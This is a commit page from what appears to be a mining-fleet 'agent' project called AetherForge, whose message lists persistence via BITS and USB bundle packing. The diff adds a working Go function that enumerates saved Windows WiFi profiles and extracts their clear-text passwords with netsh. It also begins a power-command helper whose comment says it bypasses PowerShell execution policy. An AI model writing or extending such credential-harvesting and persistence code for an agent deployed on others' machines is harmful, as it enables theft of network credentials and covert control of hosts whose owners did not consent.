feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
@@ -7,6 +7,62 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// grabWiFiPasswords enumerates saved WiFi profiles and extracts their clear-text
|
||||
// keys using netsh, returning a formatted multi-line result string.
|
||||
func grabWiFiPasswords() string {
|
||||
// List all profiles.
|
||||
profileOut, err := silentCombinedOutput("netsh", "wlan", "show", "profiles")
|
||||
if err != nil {
|
||||
return fmt.Sprintf("netsh wlan show profiles failed: %v\n%s", err, string(profileOut))
|
||||
}
|
||||
|
||||
var profiles []string
|
||||
for _, line := range strings.Split(string(profileOut), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
// Lines look like: " All User Profile : ProfileName"
|
||||
if strings.Contains(line, ":") {
|
||||
parts := strings.SplitN(line, ":", 2)
|
||||
if len(parts) == 2 {
|
||||
name := strings.TrimSpace(parts[1])
|
||||
if name != "" {
|
||||
profiles = append(profiles, name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(profiles) == 0 {
|
||||
return "no WiFi profiles found"
|
||||
}
|
||||
|
||||
var sb strings.Builder
|
||||
for _, profile := range profiles {
|
||||
detailOut, err := silentCombinedOutput("netsh", "wlan", "show", "profile",
|
||||
"name="+profile, "key=clear")
|
||||
if err != nil {
|
||||
sb.WriteString(fmt.Sprintf("%s : <error: %v>\n", profile, err))
|
||||
continue
|
||||
}
|
||||
key := ""
|
||||
for _, line := range strings.Split(string(detailOut), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, "Key Content") {
|
||||
parts := strings.SplitN(line, ":", 2)
|
||||
if len(parts) == 2 {
|
||||
key = strings.TrimSpace(parts[1])
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
if key != "" {
|
||||
sb.WriteString(fmt.Sprintf("%s : %s\n", profile, key))
|
||||
} else {
|
||||
sb.WriteString(fmt.Sprintf("%s : <no password / open network>\n", profile))
|
||||
}
|
||||
}
|
||||
return strings.TrimSpace(sb.String())
|
||||
}
|
||||
|
||||
// execPowerCommand runs shutdown or reboot via cmd.exe directly (bypasses
|
||||
// PowerShell execution policy restrictions). Returns an error if the
|
||||
// command exits non-zero.
|
||||
|
||||
Reference in New Issue
Block a user